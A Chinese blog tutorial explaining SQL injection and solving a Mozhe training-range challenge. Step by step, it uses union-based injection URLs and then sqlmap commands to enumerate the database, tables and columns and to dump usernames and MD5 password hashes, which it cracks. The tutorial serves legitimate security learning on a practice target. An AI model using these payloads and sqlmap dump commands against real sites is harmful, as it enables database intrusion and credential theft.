Sql注入原理以及墨者靶场(一)

sql注入原理

这里直接上php代码。以白盒的方式来看sql注入的原理

QQ截图20220914153918

这里看到传了一个参数Id  然后这个参数未经过任何过滤 直接跟$sql这个变量里面sql语句拼接到一起。

正常用户输入 id=1,=2 ,这是正常的,相当于从user这个表里面把id=x的信息展示出来。

但是如果id传过来是一个sql语句呢? 恶意注入,就达到攻击的手段。

 

注入条件:

php中内置代码里有变量,如果没有变量 就不行,有变量也不行,还有这个变量存在可控,就是用户可以控制这个变量。无过滤和过滤不严谨。

 

MySQL结构

一个MySQL下有很多数据库:

数据库A=网站A

      表名

               列名

                       数据

数据库B=网站B

      。。。。。。。。。。

数据库C=网站C

      。。。。。。。。。。

这里我在自己电脑起一个Mysql数据库展示:

本机Mysql1

mysql> show databases;
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id:    28
Current database: *** NONE ***

+--------------------+
| Database           |
+--------------------+
| information_schema |
| challenges         |
| mysql              |
| performance_schema |
| security           |
| sys                |
+--------------------+
6 rows in set (0.01 sec)

这还是cmd里面的 进去输指令展示出来 我懒得截图了 ,可以看到 一个Mysql里面有6个数据库。

现实生活中,每个站点的数据库都是这里面的一个。

如何判断注入?

老办法

http://example/index.php/?id=1 and 1=1 页面正常

http://example/index.php/?id=1  and 1=2 页面错误

说明可能存在注入

原理:逻辑运算符

or 或

and 且

xor 非

真 且 真=真
真 且 假=假

真 或 真=真

真 或 假=假

这里用and 就是 用右边判断输入内容有没有被当成sql语句执行

如果用or 都tm正常 你怎么知道有没有注入点。

新办法:

现在要选用最舒服的方法去测试

http://example/index.php/?id=1asdasdadasdasf 页面错误

给他来个 乱七八槽的东西

如果有错误 说明他带入数据库查询了 而且没有这个东西 说明他存在注入

如果没有错误 说明没有注入

有的网站给你跳404

这种情况不属于上面说的错误

这种站有检测 大多数没有漏洞。

信息收集以及数据库里名称

信息收集

数据库版本: version()

数据库名子: database()

数据库用户: user()

操作系统: @@version_compile_os

必要知识点:

1.在MySQl 5.0以上版本中 mysql存在一个自带数据库名称为:infomation_schema 它是一个存储记录所有数据库名 表明 列名的数据库 也相当于可以通过它查询指定数据库下面的表明或列名的信息。

2.数据库中符号“.”代表下一级的意思,比如A.b 就表明A数据库下的b表名。

information_schema.tables

记录所有表明信息的表

information_schema.columns

记录所有列名信息的表

table_name: 表名

column_name: 列名

table_schema: 数据库名

判断注入, 如果有注入

猜列名数量(字段数) order by x 错误与正常的正常值 每个都要知道列名数量 不然不行,这是写Mysql那群人规定的。

靶场例子 

结合上面知识点 来搞一次就明白了,这里展示的是靶场环境,用两种方式 手工注入 和sqlmap 两个都来一次。

起好环境:

靶场0

发现一个登录框,尝试了弱口令等 并没结果,发现下面有个维护通知。

点进去发现:

靶场1

进行判断存不存在sql注入

靶场2

无回显,说明报错了,数据库没我输的这个乱七八槽的,存在sql注入。

进行猜列名数量(字段数) order by x :

http://124.70.22.208:43801/new_list.php?id=1 order by 1 正常

http://124.70.22.208:43801/new_list.php?id=1 order by 2 正常

http://124.70.22.208:43801/new_list.php?id=1 order by 3 正常

http://124.70.22.208:43801/new_list.php?id=1 order by 4 正常

http://124.70.22.208:43801/new_list.php?id=1 order by 5 报错

这里就不截图了,判断出来列名数量是四个  

进行下一步 信息收集:

数据库版本: version()

数据库名字: database()

数据库用户: user()

操作系统: @@version_compile_os

先看看 显示出页面的是1,2,3,4那个参数

构造payurl:http://124.70.22.208:43801/new_list.php?id=-1 union select 1,2,3,4

这里有个细节 你要让id= 一个数据库不存在的 页面才会显示你右边联合查询的内容,我选了-1;

靶场3

发现 2,3是现实页面的参数;

 于是 进行信息收集 先收集数据库版本和 数据库名字:

构造payurl:payurl:http://124.70.22.208:43801/new_list.php?id=-1 union select 1,version(),database(),4

靶场4

发现数据库版本是5.7.22  数据库名字是mozhe_Discuz_StormGroup

继续收集其他两个信息,构造payurl: http://124.70.22.208:43801/new_list.php?id=-1 union select 1,user(),@@version_compile_os,4

靶场5

现在四个信息都已经收集完了

根据Mysql结构 我们现在想查询到网站登录账号密码

那么要先知道 数据库名  然后是数据库下的表名, 然后是表名下的列名,最后是列里面的数据。

那么我们现在除了第一个别的都不知道,那就查!

查mozhe_Discuz_StormGroup表名

group_concat(table_name) 这个意思是把表明全显示出来  如果你不加group_concat 他就只显示一个。

构造payurl : http://124.70.22.208:43801/new_list.php?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’

根据上面必要知识点我们知道information_schema.tables  里面放的是这个Mysql里面所有的列名称,where相当于加了一个限制条件 就是数据库名称为mozhe_Discuz_StormGroup,这个语句下来就是查询mozhe_Discuz_StormGroup的列名

靶场6

可以看到 这个数据库下有两个表名,一个StormGroup_member, 一个notice

我们想拿到登录账号密码 那肯定是在StormGroup_member里,所以现在查询StormGroup_member里面的列名

查询StormGroup_member里面的列名

同理 构造http://124.70.22.208:43801/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=’StormGroup_member’

靶场7

得到这里面有这些数据,那我们要登录 需要用户名 和密码

肯定是要获得name和password这两个

查询name和password 两个字段里的数据

构造http://124.70.22.208:43801/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

查询:

靶场8

 

发现两个用户名和md5加密后的密码

进行解密两个用户分别为:

                               mozhe  dsan13

                               mozhe   543262

登录成功

以此进行登录,登录成功,得到key。

靶场9

采用sqlmap方式

前面那个是手工注入的方式,一步一步来,现在用sqlmap一把梭试试。

sqlmap -u “http://124.70.22.208:43801/new_list.php?id=1” –current-db

查看当前网站数据库以及信息

sqlmap0

查到刚才我们查的那些信息 数据库是Mysql  版本 web服务器 操作系统 数据库名称。

sqlmap -u “http://124.70.22.208:43801/new_list.php?id=1” -D mozhe_Discuz_StormGroup –tables

查询这个数据库下的表名:

sqlmap1

sqlmap -u “http://124.70.22.208:43801/new_list.php?id=1” -D mozhe_Discuz_StormGroup -T StormGroup_member –columns

查询这个表下的列名

sqlmap2

得到关键字段

sqlmap -u “http://124.70.22.208:43801/new_list.php?id=1” -D mozhe_Discuz_StormGroup -T StormGroup_member -C name,password –dump

sqlmap3

获得账密,这是用工具的方式,两个方式结合着看,更有感觉。

© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论